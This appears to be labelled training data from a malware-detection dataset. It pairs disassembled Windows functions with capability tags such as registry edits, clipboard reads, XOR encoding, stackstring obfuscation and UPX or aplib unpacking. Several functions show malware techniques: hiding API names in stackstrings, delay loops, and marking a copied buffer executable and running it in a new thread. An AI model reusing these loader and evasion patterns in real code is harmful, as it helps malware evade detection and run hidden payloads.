joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a82
Capabilities:
Delete registry value
Set registry value

Disassembly:
push 0x20
mov eax, 0x4063ea
call fcn.0040610d
mov esi, ecx
mov dword [ebp - 0x18], esi
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push 0xf003f
xor edi, edi
xor bl, bl
push edi
push 0x4012c0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x403b05
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x14]
push eax
xor eax, eax
push eax
push 0xf003f
push eax
push 0x4012f8
push eax
push 0x401308
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x403b05
inc bl
jmp 0x403bb8
mov eax, dword [esi + 0xe0]
xor esi, esi
mov dword [ebp - 0x24], eax
test eax, eax
js 0x403b92
mov eax, dword [ebp - 0x18]
add eax, 0xcc
mov dword [ebp - 0x1c], eax
lea eax, [esi + 1]
push eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
push 0x401340
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__2]
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
push esi
call fcn.0040364e
mov esi, dword [ebp - 0x10]
mov ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ecx]
mov eax, dword [eax - 0xc]
lea eax, [eax*2 + 2]
push eax
push 0
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::GetBuffer]
push eax
push 1
push 0
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x18]
mov edi, eax
push 0xffffffffffffffff
test edi, edi
jne 0x403c22
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::ReleaseBuffer]
mov esi, dword [ebp - 0x20]
cmp esi, dword [ebp - 0x24]
jle 0x403b1f
cmp esi, 0x3e7
jge 0x403bb8
inc esi
lea eax, [ebp - 0x10]
push esi
push 0x401358
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__2]
add esp, 0xc
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edi, eax
test edi, edi
je 0x403b8a
cmp dword [ebp - 0x14], 0
je 0x403bc7
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x403c0a
lea ecx, [ebp - 0x18]
call dword [sym.imp.mfc140u.dll_Ordinal_296]
push 0x6b
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
push edi
push dword [ebp - 0x18]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__2]
add esp, 0xc
push 0
push 0
push dword [ebp - 0x10]
call dword [sym.imp.mfc140u.dll_AfxMessageBox]
lea ecx, [ebp - 0x18]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
lea ecx, [ebp - 0x28]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
call fcn.004060ea
ret
mov bl, 1
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::ReleaseBuffer]
jmp 0x403bb8
Function at 0x4044fb
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 0xc
mov eax, 0x406269
call fcn.00406140
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x404630
call dword [sym.imp.mfc140u.dll_AfxGetThread]
test eax, eax
je 0x40463d
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x7c]
mov edi, eax
test edi, edi
je 0x40463d
push dword [edi + 0x20]
mov esi, dword [sym.imp.USER32.dll_OpenClipboard]
call esi
push dword [edi + 0x20]
call esi
test eax, eax
je 0x404630
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x40462a
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
test esi, esi
je 0x4045b2
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404572
sub ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
cmp eax, 0x3fffffff
jg 0x4045b2
add eax, eax
call fcn.00406200
mov ebx, esp
test ebx, ebx
je 0x4045b2
push dword [ebp - 0x14]
xor eax, eax
push ebx
push 0xffffffffffffffff
push esi
push eax
push 3
mov word [ebx], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
neg eax
sbb eax, eax
and eax, ebx
jmp 0x4045b4
xor eax, eax
mov ebx, dword [ebp + 8]
mov ecx, ebx
push eax
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::operator]
mov eax, dword [ebx]
cmp dword [eax - 0xc], 0
je 0x404623
push 2
lea eax, [ebp - 0x14]
mov ecx, ebx
push eax
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__7]
and dword [ebp - 4], 0
mov ecx, eax
push 0x401394
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__10]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
mov esi, eax
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
push ecx
mov ecx, esp
push ebx
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__9]
test esi, esi
jne 0x40460b
call fcn.004042f4
jmp 0x404610
call fcn.004043c9
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, esi
jmp 0x404632
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
xor eax, eax
lea esp, [ebp - 0x28]
call fcn.004060fe
ret 4
call dword [sym.imp.mfc140u.dll_AfxThrowInvalidArgException]
int3
Function at 0x414dc8
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], esi
sub ebx, 0xa04bc755
sub esp, 4
mov dword [esp], edx
mov ecx, dword [esp]
add esp, 4
or edx, ecx
add eax, 4
sub ebx, 0xeddcb163
add edx, 1
cmp eax, edi
jne fcn.00414dc8
or edx, ebx
ret
Function at 0x401080
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x13717
lea edi, [esi + 0x10]
mov dword [esi], 0x403318
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4dc70], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401160
Capabilities:
Connect socket
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x34
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, ecx
push str.ws2_32.dll
mov dword [esp + 0x14], ebp
call edi
mov esi, eax
test esi, esi
je 0x4012f2
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [esp + 0x1c]
push eax
push esi
mov byte [esp + 0x24], 0x73
mov byte [esp + 0x25], 0x6f
mov byte [esp + 0x26], 0x63
mov byte [esp + 0x27], 0x6b
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0
call ebx
test eax, eax
jne 0x4011cf
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x34
ret 8
push 6
push 1
push 2
call eax
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4011eb
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x34
ret 8
push str.ws2_32.dll
call edi
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], 0x67
push ecx
push eax
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x2f], 0x68
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x73
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x62
mov byte [esp + 0x34], 0x79
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x61
mov byte [esp + 0x37], 0x6d
mov byte [esp + 0x38], 0x65
mov byte [esp + 0x39], 0
call ebx
mov edx, dword [esp + 0x48]
push edx
call eax
push str.ws2_32.dll
mov ebp, eax
mov word [esp + 0x38], 2
call edi
mov esi, eax
test esi, esi
je 0x4012f2
lea eax, [esp + 0x14]
mov byte [esp + 0x14], 0x68
push eax
push esi
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0x73
mov byte [esp + 0x21], 0
call ebx
test eax, eax
je 0x4011b9
mov ecx, dword [esp + 0x4c]
push ecx
call eax
mov esi, dword [esp + 0x10]
mov word [esp + 0x36], ax
mov edx, dword [ebp + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x38]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 8]
push eax
mov dword [esp + 0x44], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4012de
mov ecx, dword [esi + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [esi + 0xc]
push 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x4011eb
push 0
push 0
push esi
push 0x401310
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x34
ret 8
Function at 0x4014a0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov edi, ecx
push 0x4dc5c
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4014c5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4015de
mov al, 0x74
mov cl, 0x72
mov byte [esp + 0x17], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
lea eax, [esp + 0x14]
push eax
push esi
mov byte [esp + 0x1c], 0x56
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], cl
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0x50
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], 0x6f
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0x63
mov byte [esp + 0x2a], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
jne 0x40154a
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x14
ret
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
push 1
call esi
lea esi, [edi + 0x4dc74]
mov ecx, 0x13717
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 0x4dc5c
push ebx
call ebp
push 0
push 0
push ebx
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x14
ret
Function at 0xc46ae0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x95b015
lea edi, [esi - 0x55a015]
push edi
or ebp, 0xffffffff
jmp 0xc46b02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xc46b09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc46af8
mov eax, 1
add ebx, ebx
jne 0xc46b1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xc46b2c
jne 0xc46b4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc46b4b
dec eax
add ebx, ebx
jne 0xc46b38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xc46b10
add ebx, ebx
jne 0xc46b47
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xc46b9d
xor ecx, ecx
sub eax, 3
jb 0xc46b63
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xc46bd2
sar eax, 1
mov ebp, eax
jmp 0xc46b6e
add ebx, ebx
jne 0xc46b6e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc46b3c
inc ecx
add ebx, ebx
jne 0xc46b7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc46b3c
add ebx, ebx
jne 0xc46b89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xc46b7e
jne 0xc46b9a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xc46b7e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xc46bbc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xc46bae
jmp 0xc46afe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xc46bbc
add edi, ecx
jmp 0xc46afe
pop esi
mov edi, esi
mov ecx, 0x14d23
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xc46bda
cmp byte [edi], 0x4f
jne 0xc46bda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xc46bdf
lea edi, [esi + 0x81f000]
mov eax, dword [edi]
or eax, eax
je 0xc46c4e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x846000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x846028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xc46c0c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x846030]
or eax, eax
je 0xc46c48
mov dword [ebx], eax
add ebx, 4
jmp 0xc46c29
call dword [esi + 0x84602c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xc46c88
cmp al, 0xef
ja 0xc46c72
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xc46c54
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
or eax, eax
jne 0xc46c61
mov eax, dword [edi]
add edi, 4
jmp 0xc46c61
mov ebp, dword [esi + 0x846034]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xc46cbc
sub esp, 0xffffff80
jmp 0x460580
Function at 0x4b9b90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x77000]
push edi
jmp 0x4b9baa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b9bb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9ba0
mov eax, 1
add ebx, ebx
jne 0x4b9bc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b9bd4
jne 0x4b9bf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9bf3
dec eax
add ebx, ebx
jne 0x4b9be0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b9bb8
add ebx, ebx
jne 0x4b9bef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b9c45
xor ecx, ecx
sub eax, 3
jb 0x4b9c0b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b9c7a
sar eax, 1
mov ebp, eax
jmp 0x4b9c16
add ebx, ebx
jne 0x4b9c16
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9be4
inc ecx
add ebx, ebx
jne 0x4b9c24
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b9be4
add ebx, ebx
jne 0x4b9c31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b9c26
jne 0x4b9c42
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b9c26
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b9c64
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b9c56
jmp 0x4b9ba6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b9c64
add edi, ecx
jmp 0x4b9ba6
pop esi
mov edi, esi
mov ecx, 0x377e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b9c82
cmp byte [edi], 0x11
jne 0x4b9c82
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b9c87
lea edi, [esi + 0xb5000]
mov eax, dword [edi]
or eax, eax
je 0x4b9cff
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc1d40]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc1e94]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b9cb4
mov ecx, edi
jns 0x4b9ce3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc1e98]
or eax, eax
je 0x4b9cf9
mov dword [ebx], eax
add ebx, 4
jmp 0x4b9cd1
call dword [esi + 0xc1ea8]
mov ebp, dword [esi + 0xc1e9c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b9d33
sub esp, 0xffffff80
jmp 0x416310
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x41a8b7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041a72d

Function at 0x41fb99
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f6ec
Function at 0x414de7
Capabilities:
Encode data using xor

Disassembly:
xor dword [ebx], edi
sub edx, esi
sub eax, eax
add ebx, 4
add eax, edx
inc eax
inc esi
cmp ebx, ecx
jne fcn.00414de7
ret
Function at 0x10001b8a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000801c]
jne 0x10001b94
repz ret
jmp fcn.10001bfe
Function at 0x100044b0
Capabilities:
Enumerate process modules

Disassembly:
push 0xffffffffffffffff
push 0x10004d3f
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x1000801c]
xor eax, esp
mov dword [esp + 0x128], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1000801c]
xor eax, esp
push eax
lea eax, [esp + 0x140]
mov dword fs:[0], eax
push 0x1000
xor bl, bl
call fcn.10001b78
mov ebp, eax
add esp, 4
lea eax, [esp + 0x1c]
push eax
call fcn.10003180
xor edi, edi
mov dword [esp + 0x148], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x14]
push ecx
push 0x1000
mov esi, eax
push ebp
push esi
mov dword [esp + 0x28], esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x1000466d
test dword [esp + 0x14], 0xfffffffc
jbe 0x1000466d
mov eax, dword [ebp + edi*4]
push 0x104
lea edx, [esp + 0x38]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10004659
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push 0
lea ecx, [esp + 0x20]
mov esi, eax
call fcn.10001f80
mov cl, byte [esi]
mov edx, esi
cmp cl, byte [eax]
jne 0x1000458d
nop
test cl, cl
je 0x1000458d
mov cl, byte [edx + 1]
inc edx
inc eax
cmp cl, byte [eax]
je 0x10004580
movsx edx, byte [edx]
movsx eax, byte [eax]
sub edx, eax
jne 0x10004599
mov bl, 1
push 1
lea ecx, [esp + 0x20]
call fcn.10001f80
mov cl, byte [esi]
mov edx, esi
cmp cl, byte [eax]
jne 0x100045bd
lea esp, [esp]
test cl, cl
je 0x100045bd
mov cl, byte [edx + 1]
inc edx
inc eax
cmp cl, byte [eax]
je 0x100045b0
movsx ecx, byte [eax]
movsx edx, byte [edx]
sub edx, ecx
jne 0x100045c9
mov bl, 1
push 2
lea ecx, [esp + 0x20]
call fcn.10001f80
mov cl, byte [esi]
mov edx, esi
cmp cl, byte [eax]
jne 0x100045ed
lea esp, [esp]
test cl, cl
je 0x100045ed
mov cl, byte [edx + 1]
inc edx
inc eax
cmp cl, byte [eax]
je 0x100045e0
movsx ecx, byte [edx]
movsx edx, byte [eax]
sub ecx, edx
jne 0x100045f9
mov bl, 1
push 3
lea ecx, [esp + 0x20]
call fcn.10001f80
mov cl, byte [esi]
mov edx, esi
cmp cl, byte [eax]
jne 0x1000461d
lea esp, [esp]
test cl, cl
je 0x1000461d
mov cl, byte [edx + 1]
inc edx
inc eax
cmp cl, byte [eax]
je 0x10004610
movsx ecx, byte [edx]
movsx edx, byte [eax]
sub ecx, edx
jne 0x10004629
mov bl, 1
push 4
lea ecx, [esp + 0x20]
call fcn.10001f80
mov cl, byte [esi]
mov edx, esi
cmp cl, byte [eax]
jne 0x1000464d
lea esp, [esp]
test cl, cl
je 0x1000464d
mov cl, byte [edx + 1]
inc edx
inc eax
cmp cl, byte [eax]
je 0x10004640
movsx ecx, byte [edx]
movsx edx, byte [eax]
sub ecx, edx
jne 0x10004659
mov bl, 1
mov eax, dword [esp + 0x14]
inc edi
shr eax, 2
cmp edi, eax
jb 0x10004542
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x14c], 0xffffffff
call fcn.10001180
mov al, bl
mov ecx, dword [esp + 0x140]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x128]
xor ecx, esp
call fcn.10001b8a
add esp, 0x138
ret
Function at 0x1bc4058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1bc41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1bc407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1bc406a
add dl, dl
jne 0x1bc4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1bc40dc
xor eax, eax
add dl, dl
jne 0x1bc4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1bc417d
add dl, dl
jne 0x1bc40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bc40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bc40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bc40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1bc40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1bc4075
mov eax, 1
add dl, dl
jne 0x1bc40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bc40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1bc40e1
sub eax, ebx
mov ebx, 1
jne 0x1bc4128
mov ecx, 1
add dl, dl
jne 0x1bc410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1bc4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1bc4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1bc4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1bc413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1bc414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1bc4136
cmp eax, 0x7d00
jae 0x1bc416d
cmp eax, 0x500
jb 0x1bc4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1bc4075
cmp eax, 0x7f
ja 0x1bc4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1bc4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1bc419e
adc ecx, 2
mov ebp, eax
